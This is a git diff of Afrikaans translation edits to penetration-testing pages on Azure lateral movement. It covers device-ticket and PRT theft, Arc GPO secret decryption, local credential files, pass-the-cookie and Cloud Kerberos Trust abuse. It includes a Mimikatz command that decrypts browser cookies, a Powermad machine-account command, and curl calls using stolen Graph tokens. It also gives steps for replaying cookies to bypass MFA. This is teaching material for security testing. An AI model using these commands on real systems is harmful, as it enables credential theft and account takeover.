[**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Oorskrywing van 'n toestelkaartjie +## Oorskrywing van 'n toestel-tiket -Dit was moontlik om 'n **toestelkaartjie aan te vra**, die huidige een van die toestel te **oorskryf**, en tydens die vloei die **PRT te steel** (so geen behoefte om dit van die TPM te steel nie. Vir meer inligting [**kyk na hierdie praatjie**](https://youtu.be/BduCn8cLV1A). +Dit was moontlik om 'n **toestel-tiket aan te vra**, die huidige een van die toestel te **oorskryf**, en tydens die vloei **die PRT te steel** (so geen behoefte om dit van die TPM te steel nie. Vir meer inligting [**kyk na hierdie praatjie**](https://youtu.be/BduCn8cLV1A).
> [!CAUTION] > Dit is egter reggestel. -## Oorskrywing van WHFB-sleutel +## Oorskryf WHFB-sleutel [**Kyk die oorspronklike skyfies hier**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index b5b2ed16d..b288ff027 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -1,11 +1,11 @@ -# Az - Enumeration Tools +# Az - Enumerasie Gereedskap {{#include ../../banners/hacktricks-training.md}} ## Installeer PowerShell in Linux > [!TIP] -> In linux moet jy PowerShell Core installeer: +> In linux sal jy PowerShell Core moet installeer: > > ```bash > sudo apt-get update @@ -51,7 +51,7 @@ brew upgrade powershell ### az cli -[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is 'n kruis-platform hulpmiddel geskryf in Python vir die bestuur en administrasie van (meeste) Azure en Entra ID hulpbronne. Dit maak verbinding met Azure en voer administratiewe opdragte uit via die opdraglyn of skripte. +[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is 'n kruis-platform hulpmiddel geskryf in Python vir die bestuur en administrasie van (meeste) Azure en Entra ID hulpbronne. Dit verbind met Azure en voer administratiewe opdragte uit via die opdraglyn of skripte. Volg hierdie skakel vir die [**installasie instruksies¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). @@ -59,11 +59,11 @@ Opdragte in Azure CLI is gestruktureer volgens 'n patroon van: `az -Az ` #### Debug | MitM Az PowerShell -Deur die parameter **`-Debug`** is dit moontlik om al die versoeke wat die hulpmiddel stuur te sien: +Met die parameter **`-Debug`** is dit moontlik om al die versoeke wat die hulpmiddel stuur te sien: ```bash Get-AzResourceGroup -Debug ``` -Om 'n **MitM** op die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy die omgewing veranderlikes `HTTPS_PROXY` en `HTTP_PROXY` instel volgens die [**dokumentasie**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Om 'n **MitM** op die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy die omgewing veranderlikes `HTTPS_PROXY` en `HTTP_PROXY` instel volgens die [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell -Microsoft Graph PowerShell is 'n kruis-platform SDK wat toegang tot al die Microsoft Graph API's moontlik maak, insluitend dienste soos SharePoint, Exchange, en Outlook, met 'n enkele eindpunt. Dit ondersteun PowerShell 7+, moderne verifikasie via MSAL, eksterne identiteite, en gevorderde navrae. Met 'n fokus op die minste privaatheidstoegang, verseker dit veilige bedrywighede en ontvang gereelde opdaterings om in lyn te wees met die nuutste Microsoft Graph API kenmerke. +Microsoft Graph PowerShell is 'n kruis-platform SDK wat toegang tot al die Microsoft Graph API's moontlik maak, insluitend dienste soos SharePoint, Exchange, en Outlook, met 'n enkele eindpunt. Dit ondersteun PowerShell 7+, moderne verifikasie via MSAL, eksterne identiteite, en gevorderde navrae. Met 'n fokus op die minste privaatheidstoegang, verseker dit veilige bedrywighede en ontvang gereelde opdaterings om in lyn te wees met die nuutste Microsoft Graph API-funksies. Volg hierdie skakel vir die [**installasie instruksies**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). Opdragte in Microsoft Graph PowerShell is gestruktureer soos: `-Mg ` -#### Foutopsporing van Microsoft Graph PowerShell +#### Foutopsporing Microsoft Graph PowerShell Met die parameter **`-Debug`** is dit moontlik om al die versoeke wat die hulpmiddel stuur te sien: ```bash @@ -123,9 +123,9 @@ Get-MgUser -Debug ``` ### ~~**AzureAD Powershell**~~ -Die Azure Active Directory (AD) module, nou **verouderd**, is deel van Azure PowerShell vir die bestuur van Azure AD hulpbronne. Dit bied cmdlets vir take soos die bestuur van gebruikers, groepe, en aansoekregistrasies in Entra ID. +Die Azure Active Directory (AD) module, nou **verouderd**, is deel van Azure PowerShell vir die bestuur van Azure AD hulpbronne. Dit bied cmdlets vir take soos die bestuur van gebruikers, groepe, en toepassingsregistrasies in Entra ID. > [!TIP] > Dit is vervang deur Microsoft Graph PowerShell -Volg hierdie skakel vir die [**installasie-instruksies**](https://www.powershellgallery.com/packages/AzureAD). +Volg hierdie skakel vir die [**installasie instruksies**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 36e8054f9..dd704d1b8 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -1,6 +1,6 @@ -# Az - Lateral Movement (Cloud - On-Prem) +# Az - Laterale Beweging (Cloud - On-Prem) -## Az - Lateral Movement (Cloud - On-Prem) +## Az - Laterale Beweging (Cloud - On-Prem) {{#include ../../../banners/hacktricks-training.md}} @@ -28,9 +28,9 @@ Daar is verskillende maniere waarop 'n masjien aan die wolk gekoppel kan wees: In Azure AD is daar verskillende tipes tokens met spesifieke beperkings: -- **Toegangstokens**: Gebruik om API's en hulpbronne soos die Microsoft Graph te benader. Hulle is aan 'n spesifieke kliënt en hulpbron gekoppel. +- **Toegangstokens**: Gebruik om API's en hulpbronne soos die Microsoft Graph te benader. Hulle is gekoppel aan 'n spesifieke kliënt en hulpbron. - **Herlaai tokens**: Uitgereik aan toepassings om nuwe toegangstokens te verkry. Hulle kan slegs deur die toepassing wat hulle ontvang het of 'n groep toepassings gebruik word. -- **Primêre Herlaai Tokens (PRT)**: Gebruik vir Enkel Teken-In op Azure AD aangeslote, geregistreerde, of hibrid aangeslote toestelle. Hulle kan in blaaierteken-in vloei en vir teken-in op mobiele en desktop toepassings op die toestel gebruik word. +- **Primêre Herlaai Tokens (PRT)**: Gebruik vir Enkel Teken-In op Azure AD aangeslote, geregistreerde, of hibrid aangeslote toestelle. Hulle kan gebruik word in blaaierteken-in vloei en vir teken-in op mobiele en desktop toepassings op die toestel. - **Windows Hello for Business sleutels (WHFB)**: Gebruik vir wagwoordlose verifikasie. Dit word gebruik om Primêre Herlaai Tokens te verkry. Die mees interessante tipe token is die Primêre Herlaai Token (PRT). @@ -43,8 +43,8 @@ az-primary-refresh-token-prt.md Van die **gekompromitteerde masjien na die wolk**: -- [**Pass the Cookie**](az-pass-the-cookie.md): Steel Azure koekies uit die blaaiert en gebruik dit om in te teken -- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump die geheue van plaaslike prosesse wat met die wolk gesinkroniseer is (soos excel, Teams...) en vind toegangstokens in duidelike teks. +- [**Pass the Cookie**](az-pass-the-cookie.md): Steel Azure koekies van die blaaier en gebruik dit om in te teken +- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump die geheue van plaaslike prosesse gesinkroniseer met die wolk (soos excel, Teams...) en vind toegangstokens in duidelike teks. - [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish die PRT om dit te misbruik - [**Pass the PRT**](pass-the-prt.md): Steel die toestel PRT om Azure te benader deur dit na te doen. - [**Pass the Certificate**](az-pass-the-certificate.md)**:** Genereer 'n sertifikaat gebaseer op die PRT om van een masjien na 'n ander in te teken diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 79e592b37..bbd22b04c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -1,19 +1,19 @@ -# Az - Arc vulnerable GPO Deploy Script +# Az - Arc kwesbare GPO Ontplooi Skrip {{#include ../../../banners/hacktricks-training.md}} -### Identifying the Issues +### Identifisering van die Probleme Azure Arc stel die integrasie van nuwe interne bedieners (aangeslote domeinbedieners) in Azure Arc via die Groep Beleidsobjek metode moontlik. Om dit te fasiliteer, bied Microsoft 'n ontplooiing toolkit wat nodig is om die aanmeldproses te begin. Binne die ArcEnableServerGroupPolicy.zip lêer, kan die volgende skripte gevind word: DeployGPO.ps1, EnableAzureArc.ps1, en AzureArcDeployment.psm1. -Wanneer uitgevoer, voer die DeployGPO.ps1 skrip die volgende aksies uit: +Wanneer dit uitgevoer word, voer die DeployGPO.ps1 skrip die volgende aksies uit: -1. Skep die Azure Arc Servers Onboarding GPO binne die plaaslike domein. -2. Kopieer die EnableAzureArc.ps1 aanmeldskrip na die aangewese netwerkdeel wat geskep is vir die aanmeldproses, wat ook die Windows installer pakket bevat. +1. Skep die Azure Arc Servers Aanmeld GPO binne die plaaslike domein. +2. Kopieer die EnableAzureArc.ps1 aanmeld skrip na die aangewese netwerkdeel wat geskep is vir die aanmeldproses, wat ook die Windows installer pakket bevat. Wanneer hierdie skrip uitgevoer word, moet stelselsadmins twee hoofparameters verskaf: **ServicePrincipalId** en **ServicePrincipalClientSecret**. Daarbenewens vereis dit ander parameters soos die domein, die FQDN van die bediener wat die deel huisves, en die deelnaam. Verdere besonderhede soos die tenant ID, hulpbron groep, en ander nodige inligting moet ook aan die skrip verskaf word. -'n Geënkripteerde geheim word in die AzureArcDeploy gids op die gespesifiseerde deel gegenereer met behulp van DPAPI-NG enkripsie. Die geënkripteerde geheim word in 'n lêer genaamd encryptedServicePrincipalSecret gestoor. Bewyse hiervan kan in die DeployGPO.ps1 skrip gevind word, waar die enkripsie uitgevoer word deur ProtectBase64 met $descriptor en $ServicePrincipalSecret as insette aan te roep. Die descriptor bestaan uit die Domein Rekenaar en Domein Beheerder groep SIDs, wat verseker dat die ServicePrincipalSecret slegs deur die Domein Beheerders en Domein Rekenaar sekuriteitsgroepe ontkripteer kan word, soos opgemerk in die skrip kommentaar. +'n Geënkripteerde geheim word in die AzureArcDeploy gids op die gespesifiseerde deel gegenereer met behulp van DPAPI-NG enkripsie. Die geënkripteerde geheim word in 'n lêer genaamd encryptedServicePrincipalSecret gestoor. Bewyse hiervan kan gevind word in die DeployGPO.ps1 skrip, waar die enkripsie uitgevoer word deur ProtectBase64 met $descriptor en $ServicePrincipalSecret as insette aan te roep. Die descriptor bestaan uit die Domein Rekenaar en Domein Beheerder groep SIDs, wat verseker dat die ServicePrincipalSecret slegs deur die Domein Beheerders en Domein Rekenaar sekuriteitsgroepe ontkripteer kan word, soos opgemerk in die skrip kommentaar. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -24,7 +24,7 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe ``` ### Exploit -Ons het die volgende toestande: +Ons het die volgende voorwaardes: 1. Ons het suksesvol die interne netwerk binnegedring. 2. Ons het die vermoë om 'n rekenaarrekening binne Active Directory te skep of te beheer. @@ -35,7 +35,7 @@ Daar is verskeie metodes om 'n masjienrekening binne 'n AD-omgewing te verkry. E Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` -Sodra 'n masjienrekening verkry is, is dit moontlik om te autentiseer met hierdie rekening. Ons kan of die runas.exe-opdrag met die netonly-vlag gebruik of pass-the-ticket met Rubeus.exe gebruik. +Sodra 'n masjienrekening verkry is, is dit moontlik om met hierdie rekening te autentiseer. Ons kan of die runas.exe-opdrag met die netonly-vlag gebruik of pass-the-ticket met Rubeus.exe gebruik. ```powershell runas /user:fake01$ /netonly powershell ``` @@ -54,7 +54,7 @@ $ebs ``` Alternatiewelik kan ons [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) gebruik. -Op hierdie punt kan ons die oorblywende inligting versamel wat nodig is om met Azure te verbind vanaf die ArcInfo.json-lêer, wat op dieselfde netwerkdeel as die encryptedServicePrincipalSecret-lêer gestoor is. Hierdie lêer bevat besonderhede soos: TenantId, servicePrincipalClientId, ResourceGroup, en meer. Met hierdie inligting kan ons Azure CLI gebruik om as die gecompromitteerde dienshoof te autentiseer. +Op hierdie punt kan ons die oorblywende inligting versamel wat nodig is om met Azure te verbind vanaf die ArcInfo.json-lêer, wat op dieselfde netwerkdeel gestoor is as die encryptedServicePrincipalSecret-lêer. Hierdie lêer bevat besonderhede soos: TenantId, servicePrincipalClientId, ResourceGroup, en meer. Met hierdie inligting kan ons Azure CLI gebruik om as die gecompromitteerde dienshoof te verifieer. ## References diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 04abc0d61..93dd64df8 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -1,4 +1,4 @@ -# Az - Plaaslike Wolk Krediete +# Az - Plaaslike Wolk Kredensiale {{#include ../../../banners/hacktricks-training.md}} @@ -6,12 +6,12 @@ ### Azure CLI (Opdraglyn Koppelvlak) -Tokens en sensitiewe data word plaaslik deur Azure CLI gestoor, wat sekuriteits bekommernisse oproep: +Tokens en sensitiewe data word plaaslik deur Azure CLI gestoor, wat sekuriteitskwessies opwerp: 1. **Toegangstokens**: Gestoor in platte teks binne `accessTokens.json` geleë by `C:\Users\\.Azure`. 2. **Subskripsie Inligting**: `azureProfile.json`, in dieselfde gids, hou subskripsie besonderhede. -3. **Loglêers**: Die `ErrorRecords` vouer binne `.azure` mag loglêers bevat met blootgestelde krediete, soos: -- Uitgevoerde opdragte met krediete ingebed. +3. **Loglêers**: Die `ErrorRecords` vouer binne `.azure` mag logs bevat met blootgestelde kredensiale, soos: +- Uitgevoerde opdragte met kredensiale ingebed. - URL's wat met tokens toeganklik gemaak is, wat moontlik sensitiewe inligting kan onthul. ### Azure PowerShell @@ -27,9 +27,9 @@ Azure PowerShell stoor ook tokens en sensitiewe data, wat plaaslik toeganklik is - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Sekuriteits Aanbevelings +## Sekuriteitsaanbevelings -Aangaande die berging van sensitiewe data in platte teks, is dit noodsaaklik om hierdie lêers en gidse te beveilig deur: +Aangaande die berging van sensitiewe data in platte teks, is dit van kardinale belang om hierdie lêers en gidse te beveilig deur: - Toegangregte tot hierdie lêers te beperk. - Gereeld hierdie gidse te monitor en te oudit vir ongeoorloofde toegang of onverwagte veranderinge. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 4a2ecec8d..7d49caca5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -4,7 +4,7 @@ ## Waarom Koekies? -Bladsy **koekies** is 'n uitstekende meganisme om **authentisering en MFA** te **omseil**. Omdat die gebruiker reeds in die toepassing geverifieer is, kan die sessie **koekie** net gebruik word om **data** as daardie gebruiker te **toegang**, sonder om weer te verifieer. +Bladsy **koekies** is 'n uitstekende meganisme om **autentisering en MFA** te **omseil**. Aangesien die gebruiker reeds in die toepassing geoutentiseer is, kan die sessie **koekie** net gebruik word om **data** as daardie gebruiker te **verkry**, sonder om weer te moet autentiseer. Jy kan sien waar **bladsy koekies geleë** is in: @@ -20,15 +20,15 @@ Die uitdagende deel is dat daardie **koekies geënkripteer** is vir die **gebrui https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -Met Mimikatz in die hand, kan ek **'n gebruiker se koekies** onttrek, selfs al is hulle geënkripteer met hierdie opdrag: +Met Mimikatz in die hand, kan ek **'n gebruiker se koekies onttrek** selfs al is hulle geënkripteer met hierdie opdrag: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` -Vir Azure, is ons bekommerd oor die outentikasie koekies insluitend **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, en **`ESTSAUTHLIGHT`**. Daardie is daar omdat die gebruiker onlangs aktief op Azure was. +Vir Azure, gee ons om oor die outentikasie koekies insluitend **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, en **`ESTSAUTHLIGHT`**. Daardie is daar omdat die gebruiker onlangs aktief op Azure was. -Net navigeer na login.microsoftonline.com en voeg die koekie **`ESTSAUTHPERSISTENT`** (gegenereer deur die “Bly Teken In” opsie) of **`ESTSAUTH`** by. En jy sal outentiseer wees. +Net navigeer na login.microsoftonline.com en voeg die koekie **`ESTSAUTHPERSISTENT`** (gegenereer deur die “Stay Signed In” opsie) of **`ESTSAUTH`** by. En jy sal outentiseer wees. -## References +## Verwysings - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index 376703f13..511f9761f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,6 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Kyk na die pos in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) alhoewel 'n ander pos wat dieselfde verduidelik, gevind kan word in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +**Kyk die pos in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) alhoewel 'n ander pos wat dieselfde verduidelik, gevind kan word in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 86ce7ccb4..e5774a683 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -30,6 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` -**Let daarop dat hierdie tipe toegangstokens ook binne ander prosesse gevind kan word.** +**Let wel dat hierdie tipe toegangstokens ook in ander prosesse gevind kan word.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index acc4cac42..510b4b66a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Hierdie pos is 'n opsomming van** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **wat nagegaan kan word vir verdere inligting oor die aanval. Hierdie tegniek word ook kommentaar gegee in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** +**Hierdie pos is 'n opsomming van** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **wat nagegaan kan word vir verdere inligting oor die aanval. Hierdie tegniek word ook bespreek in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** ## Basiese Inligting @@ -17,30 +17,30 @@ Daarom, as hierdie rekening gecompromitteer word, kan dit moontlik wees om enige ### Kerberos TGT -Boonop, wanneer 'n gebruiker op Windows autentiseer met 'n hibriede identiteit, **Azure AD** sal 'n **gedeeltelike Kerberos kaartjie saam met die PRT uitreik.** Die TGT is gedeeltelik omdat **AzureAD beperkte inligting** van die gebruiker in die on-prem AD het (soos die sekuriteitsidentifiseerder (SID) en die naam).\ +Boonop, wanneer 'n gebruiker op Windows outentiseer met 'n hibriede identiteit, **Azure AD** sal 'n **gedeeltelike Kerberos kaartjie saam met die PRT uitreik.** Die TGT is gedeeltelik omdat **AzureAD beperkte inligting** van die gebruiker in die on-prem AD het (soos die sekuriteitsidentifiseerder (SID) en die naam).\ Windows kan dan **hierdie gedeeltelike TGT vir 'n volle TGT ruil** deur 'n dienskaartjie vir die `krbtgt` diens aan te vra. ### NTLM -Aangesien daar dienste kan wees wat nie Kerberos-autentisering ondersteun nie, maar NTLM, is dit moontlik om 'n **gedeeltelike TGT wat met 'n sekondêre `krbtgt`** sleutel onderteken is, aan te vra deur die **`KERB-KEY-LIST-REQ`** veld in die **PADATA** deel van die versoek in te sluit en dan 'n volle TGT te verkry wat met die primêre `krbtgt` sleutel onderteken is **wat die NT-hash in die antwoord insluit**. +Aangesien daar dienste kan wees wat nie Kerberos outentisering ondersteun nie, maar NTLM, is dit moontlik om 'n **gedeeltelike TGT wat met 'n sekondêre `krbtgt`** sleutel onderteken is aan te vra deur die **`KERB-KEY-LIST-REQ`** veld in die **PADATA** deel van die versoek in te sluit en dan 'n volle TGT te verkry wat met die primêre `krbtgt` sleutel onderteken is **wat die NT-hash in die antwoord insluit**. ## Misbruik van Cloud Kerberos Trust om Domain Admin te verkry -Wanneer AzureAD 'n **gedeeltelike TGT** genereer, sal dit die besonderhede wat dit oor die gebruiker het, gebruik. Daarom, as 'n Global Admin data soos die **sekuriteitsidentifiseerder en naam van die gebruiker in AzureAD** kan verander, wanneer 'n TGT vir daardie gebruiker aangevra word, sal die **sekuriteitsidentifiseerder 'n ander een wees**. +Wanneer AzureAD 'n **gedeeltelike TGT** genereer, sal dit die besonderhede wat dit oor die gebruiker het, gebruik. Daarom, as 'n Global Admin data soos die **sekuriteitsidentifiseerder en naam van die gebruiker in AzureAD** kan wysig, wanneer 'n TGT vir daardie gebruiker aangevra word, sal die **sekuriteitsidentifiseerder 'n ander een wees**. -Dit is nie moontlik om dit deur die Microsoft Graph of die Azure AD Graph te doen nie, maar dit is moontlik om die **API wat Active Directory Connect** gebruik om gesinkroniseerde gebruikers te skep en op te dateer, te gebruik, wat deur die Global Admins gebruik kan word om die **SAM naam en SID van enige hibriede gebruiker** te verander, en dan, as ons autentiseer, kry ons 'n gedeeltelike TGT wat die veranderde SID bevat. +Dit is nie moontlik om dit deur die Microsoft Graph of die Azure AD Graph te doen nie, maar dit is moontlik om die **API Active Directory Connect** te gebruik wat gebruik word om gesinkroniseerde gebruikers te skep en op te dateer, wat deur die Global Admins gebruik kan word om die **SAM naam en SID van enige hibriede gebruiker** te wysig, en dan as ons outentiseer, kry ons 'n gedeeltelike TGT wat die gewysigde SID bevat. -Let daarop dat ons dit met AADInternals kan doen en opdateer na gesinkroniseerde gebruikers via die [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet. +Let daarop dat ons dit met AADInternals kan doen en gesinkroniseerde gebruikers kan opdateer via die [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet. ### Aanval vereistes Die sukses van die aanval en die verkryging van Domain Admin voorregte hang af van die nakoming van sekere vereistes: -- Die vermoë om rekeninge deur die Synchronization API te verander, is van kardinale belang. Dit kan bereik word deur die rol van Global Admin te hê of 'n AD Connect sink rekening te besit. Alternatiewelik, die Hybrid Identity Administrator rol sal voldoende wees, aangesien dit die vermoë bied om AD Connect te bestuur en nuwe sink rekeninge te vestig. -- Die teenwoordigheid van 'n **hibriede rekening** is noodsaaklik. Hierdie rekening moet ontvanklik wees vir verandering met die slagoffer rekening se besonderhede en moet ook toeganklik wees vir autentisering. -- Identifikasie van 'n **teiken slagoffer rekening** binne Active Directory is 'n noodsaaklikheid. Alhoewel die aanval op enige rekening wat reeds gesinkroniseer is, uitgevoer kan word, moet die Azure AD tenant nie on-premises sekuriteitsidentifiseerders gerepliceer het nie, wat die verandering van 'n nie-gesinkroniseerde rekening vereis om die kaartjie te verkry. +- Die vermoë om rekeninge deur die Synchronization API te verander is van kardinale belang. Dit kan bereik word deur die rol van Global Admin te hê of 'n AD Connect sink rekening te besit. Alternatiewelik, die Hybrid Identity Administrator rol sal voldoende wees, aangesien dit die vermoë bied om AD Connect te bestuur en nuwe sink rekeninge te vestig. +- Teenwoordigheid van 'n **hibriede rekening** is noodsaaklik. Hierdie rekening moet ontvanklik wees vir wysiging met die slagoffer rekening se besonderhede en moet ook toeganklik wees vir outentisering. +- Identifikasie van 'n **teiken slagoffer rekening** binne Active Directory is 'n noodsaaklikheid. Alhoewel die aanval op enige rekening wat reeds gesinkroniseer is, uitgevoer kan word, moet die Azure AD tenant nie on-premises sekuriteitsidentifiseerders gerepliceer het nie, wat die wysiging van 'n nie-gesinkroniseerde rekening vereis om die kaartjie te verkry. - Boonop moet hierdie rekening domein admin gelyke voorregte hê, maar mag nie 'n lid van tipiese AD administrateur groepe wees nie om die generering van ongeldige TGTs deur die AzureAD RODC te vermy. -- Die mees geskikte teiken is die **Active Directory rekening wat deur die AD Connect Sync diens gebruik word**. Hierdie rekening is nie met Azure AD gesinkroniseer nie, wat sy SID as 'n lewensvatbare teiken laat, en dit hou inherent domein admin gelyke voorregte weens sy rol in die sinkronisering van wagwoord hashes (aangenome dat Password Hash Sync aktief is). Vir domeine met uitdruklike installasie, word hierdie rekening voorafgegaan met **MSOL\_**. Vir ander gevalle kan die rekening geïdentifiseer word deur alle rekeninge met Directory Replication voorregte op die domein objek te tel. +- Die mees geskikte teiken is die **Active Directory rekening wat deur die AD Connect Sync diens gebruik word**. Hierdie rekening is nie gesinkroniseer met Azure AD nie, wat sy SID as 'n lewensvatbare teiken laat, en dit hou inherent domein admin gelyke voorregte weens sy rol in die sinkronisering van wagwoord hashes (aangenome dat Password Hash Sync aktief is). Vir domeine met uitdruklike installasie, word hierdie rekening voorafgegaan met **MSOL\_**. Vir ander gevalle kan die rekening geïdentifiseer word deur alle rekeninge met Directory Replication voorregte op die domein objek te tel. ### Die volle aanval diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 7069b627c..6f5aa9197 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -1,9 +1,9 @@ -# Az - Default Applications +# Az - Standaard Toepassings {{#include ../../../../banners/hacktricks-training.md}} **Kontroleer die tegniek in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** 